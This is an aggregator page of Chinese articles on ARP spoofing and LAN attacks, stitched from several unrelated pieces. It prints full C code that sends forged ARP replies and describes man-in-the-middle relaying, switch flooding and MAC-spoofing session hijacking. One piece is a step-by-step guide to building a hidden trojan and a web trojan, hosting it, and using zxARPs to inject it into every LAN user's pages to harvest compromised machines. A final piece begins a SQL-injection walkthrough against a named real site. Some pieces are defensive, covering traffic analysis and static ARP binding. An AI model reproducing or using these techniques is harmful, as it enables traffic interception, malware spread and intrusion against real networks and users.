实例讲解如何对目标进行ARP欺骗

时间:2022年12月31日

/

来源:哈哈哦哈哈

/

编辑:本站小编

收藏本文

下载本文

下面是小编为大家推荐的实例讲解如何对目标进行ARP欺骗,本文共8篇,欢迎大家分享。本文原稿由网友“哈哈哦哈哈”提供。

篇1:实例讲解如何对目标进行ARP欺骗

以太网内的嗅探sniff对于网络安全来说并不是什么好事,虽然对于网络管理员能够跟踪数据包并且发现网络问题,但是如果被破坏者利用的话,就对整个网络构成严重的安全威胁,

ARP缓存表假设这样一个网络:

E cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=left borderColorLight=black border=1>

――――――――――

| HUB |

――――――――――

HostA HostB HostC

其中:

A的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA

B的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB

C的地址为:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC

假设B是属于一个嗅探爱好者的,比如A机器的ARP缓存:

C:\\>arp -a Interface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 CC-CC-CC-CC-CC-CC dynamic

这是192.168.10.1机器上的ARP缓存表,假设,A进行一次ping 192.168.10.3操作,PING主机C,会查询本地的ARP缓存表,找到C的IP地址的MAC地址,那么就会进行数据传输,目的地就是C 的MAC地址。如果A中没有C的ARP记录,那么A首先要广播一次ARP请求,当C接收到A 的请求后就发送一个应答,应答中包含有C的MAC地址,然后A接收到C的应答,就会更新本地的ARP缓存。接着使用这个MAC地址发送数据(由网卡附加MAC地址)。因此,本地高速缓存的这个ARP表是本地网络流通的基础,而且这个缓存是动态的。

集线器网络(Hub-Based)

很多网络都是用Hub进行连接的。数据包经过Hub传输到其他计算机的时候,Hub只是简单地把这个数据包广播到Hub的所有端口上。这就是上面举例中的一种网络结构。

现在A需要发送TCP数据包给C。首先,A需要检查本地的ARP 缓存表,查看是否有IP为192.168.10.3即C的ARP记录,如果没有那么A将要广播一个ARP请求,当C接收到这个请求后,就作出应答,然后A更新自己的ARP缓存表。并获得与C的IP相对应的MAC地址。这时就传输这个TCP数据包,Ethernet帧中就包含了C的MAC地址。当数据包传输到HUB的时候,HUB直接把整个数据包广播到所有的端口,然后C就能够接收到A发送的数据包。

正因为HUB把数据广播到所有的端口,所以计算机B也能够收到A发送给C的数据包。这正是达到了B嗅探的目的。因此,Hub-Based的网络基本没有安全可言,嗅探在这样的网络中非常容易。

交换网络(Switched Lan)

交换机用来代替HUB,正是为了能够解决HUB的几个安全问题,其中就是能够来解决嗅探问题。Switch不是把数据包进行端口广播,它将通过自己的ARP缓存来决定数据包传输到那个端口上。因此,在交换网络上,如果把上面例子中的HUB换为Switch,B就不会接收到A发送给C的数据包,即便设置网卡为混杂模式,也不能进行嗅探。

ARP欺骗(ARP spoofing)

ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存进行更新,将应答中的IP和MAC地址存储在ARP缓存中。因此,在上面的假设网络中,B向A发送一个自己伪造的ARP应答,而这个应答中的数据为发送方IP地址是192.168.10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地址本来应该是CC-CC-CC-CC-CC-CC,这里被伪造了)。当A接收到B伪造的ARP应答,就会更新本地的ARP缓存(A可不知道被伪造了)。现在A机器的ARP缓存更新了:

C:\\>arp -a Interface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 DD-DD-DD-DD-DD-DD dynamic

这可不是小事。局域网的网络流通可不是根据IP地址进行,而是按照MAC地址进行传输。现在192.168.10.3的MAC地址在A上被改变成一个本不存在的MAC地址。现在A开始Ping 192.168.10.3,网卡递交的MAC地址是DD-DD-DD-DD-DD-DD,结果是什么呢?网络不通,A根本不能Ping通C!!这就是一个简单的ARP欺骗。

我们来实现这样的ARP欺骗。这里需要使用一个WinPcap提供的API和驱动。(winpcap.polito.it/),winpcap是一个伟大而且开放的项目。Windows环境下的nmap、snort、windump都是使用的winpcap。

// ARP Sender

#include “stdafx.h”

#include “Mac.h” //GetMacAddr,我写的把字符串转换为MAC地址的函数,就不列在这里了

#include

#include

#define EPT_IP 0x0800 /* type: IP */

#define EPT_ARP 0x0806 /* type: ARP */

#define EPT_RARP 0x8035 /* type: RARP */

#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */

#define ARP_REQUEST 0x0001 /* ARP request */

#define ARP_REPLY 0x0002 /* ARP reply */

#define Max_Num_Adapter 10

#pragma pack(push, 1)

typedef struct ehhdr

{

unsigned char eh_dst[6]; /* destination ethernet addrress */

unsigned char eh_src[6]; /* source ethernet addresss */

unsigned short eh_type; /* ethernet pachet type */

}EHHDR, *PEHHDR;

typedef struct arphdr

{

unsigned short arp_hrd; /* format of hardware address */

unsigned short arp_pro; /* format of protocol address */

unsigned char arp_hln; /* length of hardware address */

unsigned char arp_pln; /* length of protocol address */

unsigned short arp_op; /* ARP/RARP operation */

unsigned char arp_sha[6]; /* sender hardware address */

unsigned long arp_spa; /* sender protocol address */

unsigned char arp_tha[6]; /* target hardware address */

unsigned long arp_tpa; /* target protocol address */

}ARPHDR, *PARPHDR;

typedef struct arpPacket

{

EHHDR ehhdr;

ARPHDR arphdr;

} ARPPACKET, *PARPPACKET;

#pragma pack(pop)

int main(int argc, char* argv[])

{

static char AdapterList[Max_Num_Adapter][1024];

char szPacketBuf[600];

char MacAddr[6];

LPADAPTER lpAdapter;

LPPACKET lpPacket;

WCHAR AdapterName[2048];

WCHAR *temp,*temp1;

ARPPACKET ARPPacket;

ULONG AdapterLength = 1024;

int AdapterNum = 0;

int nRetCode, i;###NextPage###

//Get The list of Adapter

if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)

{

printf(“Unable to retrieve the list of the adapters!\\n”);

return 0;

}

temp = AdapterName;

temp1=AdapterName;

i = 0;

while ((*temp != \\0)||(*(temp-1) != \\0))

{

if (*temp == \\0)

{

memcpy(AdapterList,temp1,(temp-temp1)*2);

temp1=temp+1;

i++;

}

temp++;

}

AdapterNum = i;

for (i = 0; i < AdapterNum; i++)

wprintf(L“\\n%d- %s\\n”, i+1, AdapterList);

printf(“\\n”);

//Default open the 0

lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);

//取第一个网卡(假设啦)

if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))

{

nRetCode = GetLastError();

printf(“Unable to open the driver, Error Code : %lx\\n”, nRetCode);

return 0;

}

lpPacket = PacketAllocatePacket();

if(lpPacket == NULL)

{

printf(“\\nError:failed to allocate the LPPACKET structure.”);

return 0;

}

ZeroMemory(szPacketBuf, sizeof(szPacketBuf));

if (!GetMacAddr(“BBBBBBBBBBBB”, MacAddr))

{

printf (“Get Mac address error!\\n”);

}

memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址

if (!GetMacAddr(“AAAAAAAAAAAA”, MacAddr))

{

printf (“Get Mac address error!\\n”);

return 0;

}

memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址,

(A的地址)

ARPPacket.ehhdr.eh_type = htons(EPT_ARP);

ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);

ARPPacket.arphdr.arp_pro = htons(EPT_IP);

ARPPacket.arphdr.arp_hln = 6;

ARPPacket.arphdr.arp_pln = 4;

ARPPacket.arphdr.arp_op = htons(ARP_REPLY);

if (!GetMacAddr(“DDDDDDDDDDDD”, MacAddr))

{

printf (“Get Mac address error!\\n”);

return 0;

}

memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //伪造的C的MAC地址

ARPPacket.arphdr.arp_spa = inet_addr(“192.168.10.3”); //C的IP地址

if (!GetMacAddr(“AAAAAAAAAAAA”, MacAddr))

{

printf (“Get Mac address error!\\n”);

return 0;

}

memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目标A的MAC地址

ARPPacket.arphdr.arp_tpa = inet_addr(“192.168.10.1”); //目标A的IP地址

memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));

PacketInitPacket(lpPacket, szPacketBuf, 60);

if(PacketSetNumWrites(lpAdapter, 2)==FALSE)

{

printf(“warning: Unable to send more than one packet in a single write!\\n”);

}

if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)

{

printf(“Error sending the packets!\\n”);

return 0;

}

printf (“Send ok!\\n”);###NextPage###

// close the adapter and exit

PacketFreePacket(lpPacket);

PacketCloseAdapter(lpAdapter);

return 0;

}

于是A接收到一个被伪造的ARP应答。A被欺骗了!!倘若在局域网中看某某机器不顺眼,以太网中的嗅探太有作用了,但是交换网络对嗅探进行了限制,让嗅探深入程度大打折扣。不过,很容易就能够发现,主机、Switch(动态更新地址表类型,下同)中的缓存表依然是(主要是)动态的。要在一个交换网络中进行有效的嗅探工作(地下党?),需要采用对付各种缓存表的办法,连骗带哄,甚至乱踹,在上面的ARP欺骗基础中我们就能够做到。

对目标进行ARP欺骗

就象上面程序中实现的一样,对目标A进行欺骗,A去Ping主机C却发送到了DD-DD-DD-DD-DD-DD这个地址上。如果进行欺骗的时候,把C的MAC地址骗为BB-BB-BB-BB-BB-BB,于是A发送到C上的数据包都变成发送给B的了。这不正好是B能够接收到A发送的数据包了么,嗅探成功。

A对这个变化一点都没有意识到,但是接下来的事情就让A产生了怀疑。因为A和C连接不上了!!B对接收到A发送给C的数据包可没有转交给C。做“man in the middle”,进行ARP重定向。打开B的IP转发功能,A发送过来的数据包,转发给C,好比一个路由器一样。不过,假如B发送ICMP重定向的话就中断了整个计划。直接进行整个包的修改转发,捕获到A发送给的数据包,全部进行修改后再转发给C,而C接收到的数据包完全认为是从A发送来的。不过,C发送的数据包又直接传递给A,倘若再次进行对C的ARP欺骗。现在B就完全成为A与C的中间桥梁了。

对Switch的MAC欺骗

Switch上同样维护着一个动态的MAC缓存,它一般是这样,首先,交换机内部有一个对应的列表,交换机的端口对应MAC地址表Port n <->Mac记录着每一个端口下面存在那些MAC地址,这个表开始是空的,交换机从来往数据帧中学习。举例来说,当Port 1口所接的计算机发出了一个数据帧,这帧数据从Port 1进入交换机,交换机就取这个数据帧的原MAC地址AAAA,然后在地址表中记录:Port 1 <->AAAA, 以后,所有发向MAC地址为AAAA的数据帧,就全从Port 1口输出,而不会从其它的口输出。

跟前面对目标进行欺骗相类似。如果把Switch上的MAC-PORT表修改了,那么对应的MAC和PORT就一样跟着改变,本来不应该发送到嗅探器的数据结果发送过来了,这样也达到了嗅探的目的。修改本地(B)发送的数据包MAC地址为原来A的MAC地址,当经过交换机的时候,交换机发现端口B对应的地址是机器A的MAC地址,于是就将会把A的MAC地址同端口B相对应,从而把发送给A的数据从端口B传输了,本来这些应该是传送到端口A的。因此,从机器B就能够获得发送给A的数据。

但是,这里有一个问题,A将接收不到数据了。嗅探不目的并不是要去破坏正常的数据通讯。同时,从刚才的欺骗中,让交换机中一个MAC地址对应了多个端口,这种对于交换机处理还不清楚。还请多指教。

对Switch进行Flood

就象上面介绍Switch的MAC和Port对应关系形成的原理,因为MAC-PORT缓存表是动态更新的,那么让整个Switch的端口表都改变,对Switch进行MAC地址欺骗的Flood,不断发送大量假MAC地址的数据包,Switch就更新MAC-PORT缓存,如果能通过这样的办法把以前正常的MAC和Port对应的关系破坏了,那么Switch就会进行泛洪发送给每一个端口,让Switch基本变成一个HUB,向所有的端口发送数据包,要嗅探的目的一样能够达到。

存在的问题,Switch对这种极限情况的处理,因为属于不正常情况,可能会引起包丢失情况。而且现在对这种极限情况的Switch状态还很不了解。如果对网络通讯造成了大的破坏,这不属于正常的嗅探(嗅探也会引起一些丢失)。

对Switch进行各种手段的操作,需要小心,如果打开了端口保护,那么可能会让交换机关闭所有用户。因此,对交换机这样的设备进行欺骗或者其他操作,还不如对一些上级设备进行欺骗,比如目标主机或者路由器。

至于上面关于嗅探的手段都是基于这个动态表进行的。因此,使用静态的ARP就能够进行防范了。对于WIN,使用arp -s 来进行静态ARP的设置。

篇2:实现讲解对目标进行ARP欺骗

以太网内的嗅探sniff对于网络安全来说并不是什么好事,虽然对于网络管理员能够跟踪数据包并且发现网络问题,但是如果被破坏者利用的话,就对整个网络构成严重的安全威胁,

ARP缓存表假设这样一个网络:

E cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=left borderColorLight=black border=1>

——————————

| HUB |

——————————

HostA HostB HostC

其中:

A的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA

B的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB

C的地址为:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC

假设B是属于一个嗅探爱好者的,比如A机器的ARP缓存:

C:\\>arp -a Interface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 CC-CC-CC-CC-CC-CC dynamic

这是192.168.10.1机器上的ARP缓存表,假设,A进行一次ping 192.168.10.3操作,PING主机C,会查询本地的ARP缓存表,找到C的IP地址的MAC地址,那么就会进行数据传输,目的地就是C 的MAC地址。如果A中没有C的ARP记录,那么A首先要广播一次ARP请求,当C接收到A 的请求后就发送一个应答,应答中包含有C的MAC地址,然后A接收到C的应答,就会更新本地的ARP缓存。接着使用这个MAC地址发送数据(由网卡附加MAC地址)。因此,本地高速缓存的这个ARP表是本地网络流通的基础,而且这个缓存是动态的。

集线器网络(Hub-Based)

很多网络都是用Hub进行连接的。数据包经过Hub传输到其他计算机的时候,Hub只是简单地把这个数据包广播到Hub的所有端口上。这就是上面举例中的一种网络结构。

现在A需要发送TCP数据包给C。首先,A需要检查本地的ARP 缓存表,查看是否有IP为192.168.10.3即C的ARP记录,如果没有那么A将要广播一个ARP请求,当C接收到这个请求后,就作出应答,然后A更新自己的ARP缓存表。并获得与C的IP相对应的MAC地址。这时就传输这个TCP数据包,Ethernet帧中就包含了C的MAC地址。当数据包传输到HUB的时候,HUB直接把整个数据包广播到所有的端口,然后C就能够接收到A发送的数据包。

正因为HUB把数据广播到所有的端口,所以计算机B也能够收到A发送给C的数据包。这正是达到了B嗅探的目的。因此,Hub-Based的网络基本没有安全可言,嗅探在这样的网络中非常容易。

交换网络(Switched Lan)

交换机用来代替HUB,正是为了能够解决HUB的几个安全问题,其中就是能够来解决嗅探问题。Switch不是把数据包进行端口广播,它将通过自己的ARP缓存来决定数据包传输到那个端口上。因此,在交换网络上,如果把上面例子中的HUB换为Switch,B就不会接收到A发送给C的数据包,即便设置网卡为混杂模式,也不能进行嗅探。

ARP欺骗(ARP spoofing)

ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存进行更新,将应答中的IP和MAC地址存储在ARP缓存中。因此,在上面的假设网络中,B向A发送一个自己伪造的ARP应答,而这个应答中的数据为发送方IP地址是192.168.10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地址本来应该是CC-CC-CC-CC-CC-CC,这里被伪造了)。当A接收到B伪造的ARP应答,就会更新本地的ARP缓存(A可不知道被伪造了)。现在A机器的ARP缓存更新了:

C:\\>arp -a Interface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 DD-DD-DD-DD-DD-DD dynamic

这可不是小事,

局域网的网络流通可不是根据IP地址进行,而是按照MAC地址进行传输。现在192.168.10.3的MAC地址在A上被改变成一个本不存在的MAC地址。现在A开始Ping 192.168.10.3,网卡递交的MAC地址是DD-DD-DD-DD-DD-DD,结果是什么呢?网络不通,A根本不能Ping通C!!这就是一个简单的ARP欺骗。

我们来实现这样的ARP欺骗。这里需要使用一个WinPcap提供的API和驱动,winpcap是一个伟大而且开放的项目。Windows环境下的nmap、snort、windump都是使用的winpcap。

// ARP Sender

#include “stdafx.h”

#include “Mac.h” //GetMacAddr(),我写的把字符串转换为MAC地址的函数,就不列在这里了

#include

#include

#define EPT_IP 0x0800

#define EPT_ARP 0x0806

#define EPT_RARP 0x8035

#define ARP_HARDWARE 0x0001

#define ARP_REQUEST 0x0001

#define ARP_REPLY 0x0002

#define Max_Num_Adapter 10

#pragma pack(push, 1)

typedef struct ehhdr

{

unsigned char eh_dst[6];

unsigned char eh_src[6];

unsigned short eh_type;

}EHHDR, *PEHHDR;

typedef struct arphdr

{

unsigned short arp_hrd;

unsigned short arp_pro;

unsigned char arp_hln;

unsigned char arp_pln;

unsigned short arp_op;

unsigned char arp_sha[6];

unsigned long arp_spa;

unsigned char arp_tha[6];

unsigned long arp_tpa;

}ARPHDR, *PARPHDR;

typedef struct arpPacket

{

EHHDR ehhdr;

ARPHDR arphdr;

} ARPPACKET, *PARPPACKET;

#pragma pack(pop)

int main(int argc, char* argv[])

{

static char AdapterList[Max_Num_Adapter][1024];

char szPacketBuf[600];

char MacAddr[6];

LPADAPTER lpAdapter;

LPPACKET lpPacket;

WCHAR AdapterName[2048];

WCHAR *temp,*temp1;

ARPPACKET ARPPacket;

ULONG AdapterLength = 1024;

int AdapterNum = 0;

int nRetCode, i;###NextPage###

[1] [2] [3]  下一页

篇3:什么是Cookies和session欺骗?(实例讲解)

cookies欺骗,就是在只对用户做cookies验证的系统中,通过修改cookies的内容来得到相应的用户权限登录,

什么是Cookies和session欺骗?(实例讲解)

那么什么是cookies呢,我这里给大家一个专业的解释,cookies是一个储存于浏览器目录中的文本文件,记录你访问一个特定站点的信息,且只能被创建这个coo

篇4:实例解析通过流量检测查找ARP欺骗

ARP欺骗攻击是十分普遍的一种攻击形式,受攻击的机构内网会因为ARP欺骗攻击导致网络缓慢甚至停滞的现象发生,本篇文章将通过一次学校受到ARP欺骗攻击的实例,来讲述如何通过网络流量检测来查找出ARP欺骗攻击,从而解决网络缓慢的情况。

信息中心立即着手进行调查,据老师们反映上网有时候网页打开速度非常缓慢,有时丝毫没有动静,直接显示无法打开网页。不过,在非上班时间,如中午和晚上等休息时间,网络一切正常。

根据这一情况,网络硬件故障的可能性微乎其微,经过检查没有发现异常情况,排除了物理上的错误。看来是软件上的问题,脑海中的第一反应就是目前比较流行的ARP攻击。ARP协议的中文名为地址解析协议,用于将网络中的IP地址解析为硬件地址(MAC地址),以保证通信的顺利进行。当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存进行更新,将应答中的IP和MAC地址存储在ARP缓存中。所以在网络中,如果有人发送一个自己伪造的ARP应答,网络可能就会出现问题,这就是ARP欺骗,其常见的特征就是主机频繁掉线。

我们的网络症状与之非常相似,但是ARP攻击需要找到它的源头,一般的方法很难查找,需要在交换机上进行抓包分析,于是找到了IrisNetworkTrafficAnalyzer(以下简称Iris)。这是一款网络流量分析监测工具,可以帮助系统管理员轻易地捕获和查看用户的使用情况,同时检测进入和发出的信息流,自动进行存储和统计,

这款软件的图标很像一只眼睛,看来“火眼金睛”是找到了,现在就花工夫怎么用好它了!

由于该教学楼的交换机是一台非网管型交换机,只好拿着笔记本电脑在网络设备房“蹲点”。把笔记本电脑连接在交换机端口上,打开Iris

依旧是我们熟悉的典型Windows软件风格,单击开始捕获按钮,Iris开始工作,对数据包实施抓捕。Iris对数据包抓捕的同时对其进行分析,我可以点击某一时刻的数据包在快速分析窗口中查看解析内容。在Statistics(统计表)窗口中,我们可以浏览实时数据统计图,对Protocol(网络协议)、TopHosts(最高流量主机)、SizeDistribution(数据包大小分类)和Bandwidth(带宽)进行直接查看。

不一会,“凶手”出现了!Iris捕获窗口出现了大量的ARP数据包,Protocol(网络协议)图表显示出来的ARP数据包在不断增长!整个网络的流量一下加大了好几倍!

为了分析方便,用Iris的Filters(过滤)功能,将ARP和ReverseARP两种类型的数据过滤出来。终于,找到了ARP欺骗的真凶了,在捕获窗口中可以看到,有两个假IP地址(0.136.136.16和1.136.136.16),所有的ARP数据包源都是来自MAC地址为52:54:AB:37:0D:B0的电脑,终于掌握罪证了!也就是说,找到这个MAC地址的电脑就可以铲除祸根了!

接下来的工作就简单了,拿出平时记录好的“MAC-IP-计算机名”对应表,找到真凶电脑,对其进行断网、系统重装、查杀病毒等操作,确认安全后,再连接上网。网络又恢复了往日的宁静,学校的正常教学秩序得到了保证。

篇5:不用ARP欺骗进行嗅探和会话劫持进行MAC欺骗

ARP欺骗的攻击和防御技术都比较成熟了,这里也不再阐述,此次重点讲解如何不用ARP欺骗进行嗅探以及会话劫持的技术原理,实际的攻击方法是进行MAC欺骗。

一、原理:

在开始之前我们先简单了解一下交换机转发过程:交换机的一个端口收到一个数据帧时,首先检查改数据帧的目的MAC地址在MAC地址表(CAM)对应的端口,如果目的端口与源端口不为同一个端口,则把帧从目的端口转发出去,同时更新MAC地址表中源端口与源MAC的对应关系;如果目的端口与源端口相同,则丢弃该帧。

有如下的工作场景:

一个4口的switch,端口分别为Port.A、Port.B、Port.C、Port.D对应主机 A,B,C,D,其中D为网关。

当主机A向B发送数据时,A主机按照OSI往下封装数据帧,过程中,会根据IP地址查找到B主机的MAC地址,填充到数据帧中的目的MAC地址。发送之前网卡的MAC层协议控制电路也会先做个判断,如果目的MAC相同于本网卡的MAC,则不会发送,反之网卡将这份数据发送出去。Port.A接收到数据帧,交换机按照上述的检查过程,在MAC地址表发现B的MAC地址(数据帧目的MAC)所在端口号为Port.B,而数据来源的端口号为Port.A,则交换机将数据帧从端口Port.B转发出去。B主机就收到这个数据帧了。

这个寻址过程也可以概括为IP->MAC->PORT,ARP欺骗是欺骗了IP/MAC的应关系,而MAC欺骗则是欺骗了MAC/PORT的对应关系。比较早的攻击方法是泛洪交换机的MAC地址,这样确实会使交换机以广播模式工作从而达到嗅探的目的,但是会造成交换机负载过大,网络缓慢和丢包甚至瘫痪,我们不采用这种方法。

二、实战

工作环境为上述的4口swith,软件以cncert的httphijack 为例,应用为A主机劫持C主机的数据,

以下是劫持过程(da为目的MAC,sa为源MAC)

1.A发送任意da=网关.mac、sa=B.mac的数据包到网关。

这样就表明b.mac对应的是port.a,在一段时间内,交换机会把发往b.mac的数据帧全部发到a主机。这个时间一直持续到b主机发送一个数据包,或者另外一个da=网关.mac、sa=b.mac的数据包产生前。

2.A 主机收到网关发给B的数据,记录或修改之后要转发给B,在转发前要

发送一个请求B.MAC的广播,这个包是正常的

MAC信息为:da=FFFFFFFFFF、sa=a.mac。

这个数据帧表明了a.mac对应port.a,同时会激发b主机响应一个应答包

MAC信息为:da=a.mac、sa=b.mac

这个数据帧表明了 b.mac对应port.b

至此,对应关系已经恢复,A主机将劫持到的数据可顺利转发至B

3. 转发劫持到的数据到B,完成一次劫持

三、攻击特点

1.由于这种攻击方法具有时间分段特性,所以对方的流量越大,劫持频率也越低,网络越稳定。

2.隐蔽性强,基于1的特殊性和工作本质,可以在ARP防火墙和双向绑定的环境中工作。

四、如何防护

高级的交换机可以采用ip+mac+port绑定,控制CAM表的自动学习。目前尚无软件可以防护此类攻击

五、利用工具

1.httphijack beta 2 说明:http会话劫持

2.ssclone 说明:交换环境下的会话复制软件(gmail,qqmail,sohumail…..)

3.skiller 说明:流量控制

篇6:局域网ARP欺骗挂马方式详细讲解漏洞预警

网页挂马最难的就是传播了,小网站易入侵但是访问人数不多,收获的肉鸡也就不是很多,因此,一种新的挂马方式开始流行――局域网ARP欺骗挂马,只要局域网内一台机子中招了,它就可以在内网传播含有木马的网页,捕获的肉鸡就会成几何增长。 th7.cn

局域网ARP欺骗挂马的好处如下:无需入侵网站,只要你的主机处于局域网中即可,这是它最大的优点;收获的肉鸡多多,短时间内可以收获数十台甚至上百台肉鸡,类似网吧这样由上百台电脑组成的局域网是最好的挂马场所;局域网内的用户访问任何网站都会中我们的木马。看了上面的介绍,各位是不是已经蠢蠢欲动了?

第一步:配置木马服务端第七城市

我们以“黑洞”木马为例。运行“黑洞”木马的Client.exe文件,进入Client.exe的主界面后,点击“文件→创建DLL插入版本服务端程序”。

th7.cn

进入服务端程序的创建界面后,首先勾选“Win NT//XP/下隐藏服务端文件、注册表、进程和服务”,然后切换到“连接选项”标签,在“主机”一栏中填入本机的公网IP地址,端口可以保持默认的“”。最后在“连接密码”处填入用来连接对方的密码,例如123456(图1)。设置完成后点击“生成”按钮,将木马服务端保存为muma.exe。 th7.cn

th7.cn

填写密码 第七城市

第二步:生成网页木马th7.cn

既然是挂马,那当然缺不了网页木马了。这里我们用“MS07-33网马生成器”为例。运行“MS07-33网马生成器”,在“网马地址”文本框中输入木马所在路径,由于等会我们要自行架设H

ttp服务,所以这里应该填入“192.168.0.2/muma.exe“,其中192.168.0.2是本机在局域网中的IP地址。点击“生成网马”按钮即可生成网马hackll.htm(图2)。

点击“生成网马” 第七城市

第三步:开启本机Http服务

要让局域网中的其他主机能够访问到我们的网马,就要开启本机的Http服务,

下载baby web server,这是一款简单的Web服务器软件,下载后直接运行,在其主界面中点击“服务→设置”。

将“网页目录”设置为网页木马所在的地方,例如C盘根目录“C:\“。点“确定”回主界面,然后再点“Start”按钮开启本机的Http服务(图3)。记得要将木马服务端和网页木马放到C盘根目录。 第七城市

按钮开启本机的Http服务 th7.cn

第四步:局域网挂马

最后该请我们的主角出场了,就是上文中提到的小工具,这个工具叫zxARPs,是一个通过ARP欺骗实现局域网挂马的工具。在使用zxARPs前我们要安装WinPcap,它是网络底层驱动包,没有它zxARPs就运行不了。 第七城市

安装好后将zxARPs放到任意目录,然后运行“命令提示符”,进入zxARPs所在的目录,然后输入命令:zxARPs.exe -idx 0 -ip 192.168.0.1-192.168.0.255 -port 80 -insert \"

从现在开始,局域网中的用户无论访问什么网站,都会运行我们的网页木马,因为zxARPs在用户打开网页的同时已经将挂马代码插入到正常网页中了。

th7.cn

ARP挂马防范技巧

从上文可见zxARPs的功能真的十分强大,但它毕竟是基于ARP欺骗原理的,只要局域网内的主机能够抵御ARP欺骗攻击,就可以完全无视zxARPs的挂马方法。 th7.cn

网管将局域网内所有的主机的IP地址和MAC地址进行绑定即可搞定。我们也可以下载“360ARP防火墙”来抵御ARP欺骗攻击(下载地址www2.cpcw.com/bzsoft),安装完成后点击界面上的“开启”按钮就可以让它保护我们免受ARP欺骗的攻击了(图4)。这时如果有人对你的主机进行ARP欺骗攻击,我们在可以点击“记录”按钮,查看攻击者的IP地址。

开启ARP保护

篇7:对目标交换机进行学习探讨

局域网中的另外一台交换机之所以没有受到网络病毒的袭击,很可能是该交换机的性能比较稳定,仍然还无法对交换机系统进行远程管理时,希望本文能教会你更多东西,

目标交换机作为局域网中的核心设备之一,它的工作性能直接决定着网络的数据传输性能。可是,在长时间工作之后,交换机难免会遇到这样或那样的故障现象;为了及时解决故障现象,网络管理员时常会采取远程方法来管理交换机系统。然而有的时候,我们会遭遇无法远程管理交换机的现象。

面对这种故障现象,我们究竟该采取什么措施来面对呢?现在,本文就对这类故障的排除思路进行分析,希望能对大家带来一定的帮助!如果客户端系统与目标交换机设备之间的物理连接不通畅的话,那么我们当然不能通过网络通道远程登录进目标交换机的后台管理系统,来对其进行远程管理了;

因此,当我们遭遇无法远程管理目标交换机现象时,首先应该使用ping命令测试一下物理连接线路的通畅状态。当然,在进行ping命令测试操作之前,我们必须选择一台与目标交换机处于相同子网的普通客户端系统,之后执行ping命令来测试交换机设备的IP地址是否可以正常ping通。

如果不能正常ping通,那就说明物理连接状态可能存在问题;此时,我们可以尝试换用其他客户端系统继续执行ping命令测试。看看目标交换机的IP地址是否还能被正常ping通,要是一直被无法ping通时,那问题很有可能出现在交换机自身“身上”。

例如交换的端口工作状态不正常,或者交换机的硬件性能不稳定时,都有可能造成无法ping通的故障现象。当然,如果我们可以从普通客户端系统正常ping通交换机设备的IP地址,但是偏偏就不能远程管理目标交换机设备时,

那问题多半是目标交换机出现了软故障,例如交换机后台管理系统的版本较低,或者是交换机系统被网络病毒入侵了。有的时候,某个交换端口被大容量数据不断冲击时,容易导致对应端口的板卡CPU资源被大量消耗,严重的时候对应板卡上的所有交换端口都会出现假死现象。

这个时候如果我们通过这些假死的交换端口ping交换机设备的IP地址时,自然就会出现无法ping通的故障现象了,并且尝试进行远程登录操作时就不会成功。为了判断交换端口的工作状态是否正常,我们可以使用console控制线直接连接到交换机的控制端口上,同时以系统管理员身份登录进入交换机系统的后台管理界面。

并在该界面的命令行状态下执行字符串命令“display cpu”,来查看交换机各块板卡的CPU资源消耗情况,如果发现某块板卡的CPU消耗率达到50%以上,那么对应板卡上的某个交换端口可能不停地受到大容量数据的冲击。

为了能够找到目标故障交换端口,我们可以将网络线缆依次插入到故障交换板卡的每一个交换端口上,之后在对应交换端口的视图模式状态下,ping局域网的网关地址,看看能否正常ping通目标网关地址。

一旦发现某个交换端口不能正常ping通目标网关地址时,我们必须在该交换端口的视图模式状态下,执行字符串命令“display xxx”,其中“xxx”为指定的交换端口。从其后弹出的结果界面中我们就能清楚地判断出该交换端口的输入数据包、输出数据包、广播数据包的大小了。

要是看到输入数据包、输出数据包大小同时超过1000M/s以上大小时,那就意味着当前交换端口的数据流量不正常。此时,为了防止该交换端口继续影响整个交换机的工作状态,我们必须利用交换机系统自带“shutdown”命令,暂时关闭目标故障交换端口的启用状态。

之后进一步查找目标故障交换端口下面的子网状态,以便揪出造成交换机板卡CPU被过度消耗的真正“罪槐祸首”,从而恢复目标交换端口的工作状态,那样一来我们就能正常通过网络来远程管理目标交换机了。

篇8:对一网站注入过程步骤的实例讲解

我都不知是什么时候写的了,这几天整理电脑时才翻出来,,看看思路吧,其它的没有什么价值,

========================================================

说明:转载还请注明作者:赛冰河

另外,为我这次过程分析更为真实,各读者更能较好地理解,故用真实IP分析

这次注入是真实的网站是:202.114.71.194/ 武汉大学环境法研究所,为此,望大家不要搞破坏,仅仅是为学习,如有什么意外的地方,概与本人无关。

========================================================

今天我主要是分分析的是SQL注入,但顺便也会对ACCESS的判断简单说说,并且提供一些网站安全

